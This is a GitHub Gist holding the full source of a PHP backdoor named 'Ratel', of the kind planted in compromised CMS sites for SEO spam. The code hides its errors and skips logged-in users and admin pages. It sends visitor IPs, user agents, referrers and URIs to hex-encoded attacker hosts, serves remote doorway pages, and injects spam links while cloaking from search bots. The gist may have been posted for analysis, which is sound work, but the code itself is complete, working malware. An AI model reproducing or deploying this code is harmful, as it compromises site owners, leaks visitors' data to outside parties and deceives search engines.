Created
April 27, 2018 08:07
-
-
Save isholgueras/b373c73fa1fba1e604124d48a7559436 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if (!class_exists('Ratel')) { | |
if (function_exists('is_user_logged_in')) { | |
if (is_user_logged_in()) { | |
return FALSE; | |
} | |
} | |
if (isset($_REQUEST['xftest'])) { | |
die(pi() * 6); | |
} | |
@ini_set('display_errors', 0); | |
@ini_set('error_reporting', 0); | |
@ini_set('log_errors', NULL); | |
@ini_set('default_socket_timeout', 4); | |
if (!isset($_SERVER['HTTP_USER_AGENT']) || !trim( | |
$_SERVER['HTTP_USER_AGENT'] | |
)) { | |
return FALSE; | |
} | |
$is_bot = 0; | |
if (@preg_match( | |
"/(googlebot|msnbot|yahoo|search|bing|ask|indexer|cuill.com|clushbot)/i", | |
$_SERVER["HTTP_USER_AGENT"] | |
)) { | |
$is_bot = 1; | |
} | |
$bad_file = [ | |
"png", | |
"jpg", | |
"jpeg", | |
"gif", | |
"css", | |
"js", | |
"swf", | |
"avi", | |
"mp4", | |
"mp3", | |
"flv", | |
"pdf", | |
"zip", | |
"txt", | |
]; | |
$ruri = trim($_SERVER["REQUEST_URI"], "\t\n\r\0\x0B/"); | |
if (preg_match("/(wp-includes|admin|login|administrator)/i", $ruri)) { | |
return FALSE; | |
} | |
$host = 'unknown'; | |
if (isset($_SERVER["HTTP_HOST"])) { | |
if (isset($_SERVER["HTTP_X_FORWARDED_HOST"])) { | |
$_SERVER["HTTP_HOST"] = $_SERVER["HTTP_X_FORWARDED_HOST"]; | |
} | |
$tmp = parse_url('http://' . $_SERVER["HTTP_HOST"]); | |
if ($tmp['host']) { | |
$host = $tmp['host']; | |
if (substr($host, 0, 4) == 'www.') { | |
$host = substr($host, 4); | |
} | |
} | |
if (isset($_REQUEST[md5(md5($host))]) OR isset($_COOKIE[md5(md5($host))])) { | |
die('suspicious request denied'); | |
} | |
} | |
if ((@in_array(end(explode('.', $ruri)), $bad_file)) or @stripos( | |
$ruri, | |
'robots.txt' | |
) !== FALSE) { | |
return FALSE; | |
} | |
class Ratel { | |
public $links_url = "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x72\x6f\x69\x6e\x2e\x74\x6f\x70\x2f\x6f\x6e\x65\x67\x74\x2f\x67\x65\x74\x2e\x70\x68\x70"; | |
public $door_url = "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x6c\x6f\x63\x6b\x61\x64\x73\x2e\x6d\x65\x6e\x2f"; | |
public $ip = ''; | |
public $ua = ''; | |
public $css = ''; | |
public $js = ''; | |
public $host = ''; | |
public $ip_list_bing = [ | |
"191.232.*", | |
"131.253.*", | |
"157.55.*", | |
"157.56.*", | |
"207.46.*", | |
"40.77.*", | |
"204.79.*", | |
"68.180.*", | |
"199.30.*", | |
"131.107.*", | |
"207.46.*", | |
"207.68.*", | |
"213.199.*", | |
"65.54.*", | |
"65.52.*", | |
"65.55.*", | |
"68.142.*", | |
"98.138.*", | |
"206.190.*", | |
"207.126.*", | |
"209.131.*", | |
"209.191.*", | |
"209.73.*", | |
"216.109.*", | |
"216.136.*", | |
"216.145.*", | |
"216.155.*", | |
"64.157.*", | |
"66.163.*", | |
"66.196.*", | |
"66.218.*", | |
"66.228.*", | |
"66.94.*", | |
"67.195.*", | |
"68.142.*", | |
"68.180.*", | |
"69.147.*", | |
"72.30.*", | |
]; | |
public $bot = FALSE; | |
function get_client_ip() { | |
foreach ([ | |
'HTTP_CLIENT_IP', | |
'HTTP_X_FORWARDED_FOR', | |
'HTTP_X_FORWARDED', | |
'HTTP_X_CLUSTER_CLIENT_IP', | |
'HTTP_FORWARDED_FOR', | |
'HTTP_FORWARDED', | |
'REMOTE_ADDR', | |
] as $key) { | |
if (array_key_exists($key, $_SERVER) === TRUE) { | |
foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { | |
if (filter_var($ip, FILTER_VALIDATE_IP) !== FALSE) { | |
return $ip; | |
} | |
} | |
} | |
} | |
return $_SERVER['REMOTE_ADDR']; | |
} | |
function init($ruri, $host, $is_bot) { | |
$this->ua = $_SERVER['HTTP_USER_AGENT']; | |
$this->is_bot = $is_bot; | |
$this->ruri = $ruri; | |
$this->ip = $this->get_client_ip(); | |
if (count($_GET) === 1 and empty($_GET[0])) { | |
$not_uri = end(array_keys($_GET)); | |
} | |
$this->uri = '?data=' . base64_encode( | |
@serialize( | |
@[ | |
'url' => $_SERVER["HTTP_HOST"], | |
'uri' => $_SERVER["REQUEST_URI"], | |
'ua' => $this->ua, | |
'ref' => $_SERVER["HTTP_REFERER"], | |
'ip' => $this->ip, | |
'not_uri' => $not_uri, | |
'lang' => $_SERVER['HTTP_ACCEPT_LANGUAGE'], | |
'is_bot' => $this->is_bot, | |
] | |
) | |
) . '&url=' . $_SERVER["HTTP_HOST"]; | |
$this->the_end(); | |
} | |
function make_links() { | |
$this->detect_bot(); | |
$host = 'unknown'; | |
if (isset($_SERVER["HTTP_X_FORWARDED_HOST"])) { | |
$_SERVER["HTTP_HOST"] = $_SERVER["HTTP_X_FORWARDED_HOST"]; | |
} | |
$tmp = @parse_url('http://' . $_SERVER["HTTP_HOST"]); | |
if (isset($tmp['host'])) { | |
$host = $tmp['host']; | |
} | |
$page = $this->get( | |
"$this->links_url?host=$host&uri={$_SERVER["REQUEST_URI"]}&bot={$this->bot}&ip=" . urlencode( | |
$this->ip | |
) | |
); | |
if (strpos($page, '<link>') !== FALSE) { | |
preg_match_all('~<link>(.*?)</link>~', $page, $m); | |
$links = isset($m[1]) ? $m[1] : []; | |
return $links; | |
} | |
return FALSE; | |
} | |
function rwcontent($content) { | |
$tags = [ | |
'p', | |
'span', | |
'strong', | |
'em', | |
'i', | |
'td', | |
'div', | |
'ul', | |
'li', | |
'span', | |
'body', | |
]; | |
$tags_vals = []; | |
foreach ($tags as $tag) { | |
preg_match_all("~<{$tag}.*?>(.*?)</{$tag}>~i", $content, $matches); | |
if (@isset($matches[0])) { | |
foreach ($matches[0] as $match) { | |
$tags_vals[] = ['tag' => $tag, 'content' => $match]; | |
} | |
} | |
if (count($tags_vals) > count($this->links)) { | |
break; | |
} | |
} | |
foreach ($this->links as $link_index => $link) { | |
foreach ($tags_vals as $tag_index => $tag_val) { | |
if (strlen($tag_val['content']) % 2 == 1) { | |
$tag_content_new = $tag_val['content']; | |
$tag_content_new = preg_replace( | |
"(<{$tag_val['tag']}.*?>)", | |
"$0{$link} ", | |
$tag_content_new, | |
1 | |
); | |
} | |
else { | |
if (substr( | |
$tag_val['content'], | |
-(strlen($tag_val['tag']) + 4) | |
) == ".</{$tag_val['tag']}>") { | |
$tag_content_new = str_replace( | |
".</{$tag_val['tag']}>", | |
" {$link}.</{$tag_val['tag']}>", | |
$tag_val['content'] | |
); | |
} | |
else { | |
$tag_content_new = str_replace( | |
"</{$tag_val['tag']}>", | |
" {$link} </{$tag_val['tag']}>", | |
$tag_val['content'] | |
); | |
} | |
} | |
$content = preg_replace( | |
"~{$tag_val['content']}~i", | |
$tag_content_new, | |
$content, | |
1 | |
); | |
unset($tags_vals[$tag_index]); | |
if (strpos($content, $link) !== FALSE) { | |
unset($links[$link_index]); | |
continue 2; | |
} | |
} | |
} | |
return $content; | |
} | |
function detect_bot() { | |
$bot = FALSE; | |
if (@preg_match('/google/i', $this->ua)) { | |
$bot = TRUE; | |
$this->bot = 'google'; | |
} | |
if (!$bot AND @preg_match('/bing|msn|msr|slurp|yahoo/i', $this->ua)) { | |
$bot = TRUE; | |
$this->bot = 'bing'; | |
} | |
if (!$bot AND @preg_match( | |
'~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby|yandex|yadirectbot~i', | |
$this->ua | |
)) { | |
$bot = TRUE; | |
$this->bot = 'other'; | |
} | |
if (!$bot) { | |
$this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']; | |
if ((in_array($this->ip, $this->ip_list_bing))) { | |
$bot = TRUE; | |
$this->bot = 'bing'; | |
} | |
else { | |
foreach ($this->ip_list_bing as $ip) { | |
if (preg_match("#$ip#", $this->ip)) { | |
$bot = TRUE; | |
$this->bot = 'bing'; | |
break; | |
} | |
} | |
} | |
} | |
if (!$bot) { | |
$referer = @gethostbyaddr($this->ip); | |
if (@preg_match('/google/i', $referer)) { | |
$bot = TRUE; | |
$this->bot = 'google'; | |
} | |
if (!$bot AND @preg_match('/bing|msn|msr|slurp|yahoo/i', $referer)) { | |
$bot = TRUE; | |
$this->bot = 'bing'; | |
} | |
} | |
} | |
function get($url) { | |
if (function_exists('curl_init')) { | |
$ch = curl_init($url); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 15); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt( | |
$ch, | |
CURLOPT_USERAGENT, | |
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36' | |
); | |
$data = curl_exec($ch); | |
curl_close($ch); | |
return $data; | |
} | |
elseif (@ini_get('allow_url_fopen')) { | |
return @file_get_contents($url); | |
} | |
else { | |
$parts = parse_url($url); | |
$target = $parts['host']; | |
$port = isset($parts['port']) ? $parts['port'] : 80; | |
$page = isset($parts['path']) ? $parts['path'] : ''; | |
$page .= isset($parts['query']) ? '?' . $parts['query'] : ''; | |
$page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : ''; | |
$page = ($page == '') ? '/' : $page; | |
if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) { | |
@socket_set_option( | |
$fp, | |
SOL_SOCKET, | |
SO_RCVTIMEO, | |
["sec" => 1, "usec" => 1] | |
); | |
$headers = "GET $page HTTP/1.1\r\n"; | |
$headers .= "Host: {$parts['host']}\r\n"; | |
$headers .= "Connection: Close\r\n\r\n"; | |
if (fwrite($fp, $headers)) { | |
$resp = ''; | |
while (!feof($fp) && ($curr = fgets($fp, 128)) !== FALSE) { | |
$resp .= $curr; | |
} | |
if (isset($curr) && $curr !== FALSE) { | |
fclose($fp); | |
return substr(strstr($resp, "\r\n\r\n"), 3); | |
} | |
} | |
fclose($fp); | |
} | |
} | |
return TRUE; | |
} | |
function the_end() { | |
$content = $this->get($this->door_url . $this->uri); | |
$plinks = FALSE; | |
if (!empty($content) or $content != '') { | |
$content = @base64_decode($content); | |
if (strpos($content, '404_not_found') !== FALSE) { | |
header("HTTP/1.0 404 Not Found"); | |
exit; | |
} | |
if (strripos($content, ' keys/' . $_SERVER["HTTP_HOST"]) !== FALSE) { | |
return FALSE; | |
} | |
if (@strpos(@strtolower($content), '</html>') !== FALSE) { | |
die($content); | |
} | |
} | |
elseif (!$plinks) { | |
$this->links = $this->make_links(); | |
if (!empty($this->links) or $this->links !== FALSE) { | |
ob_start([$this, 'rwcontent']); | |
register_shutdown_function('ob_end_flush'); | |
} | |
} | |
} | |
} | |
$ratel = new Ratel; | |
$ratel->init($ruri, $host, $is_bot); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment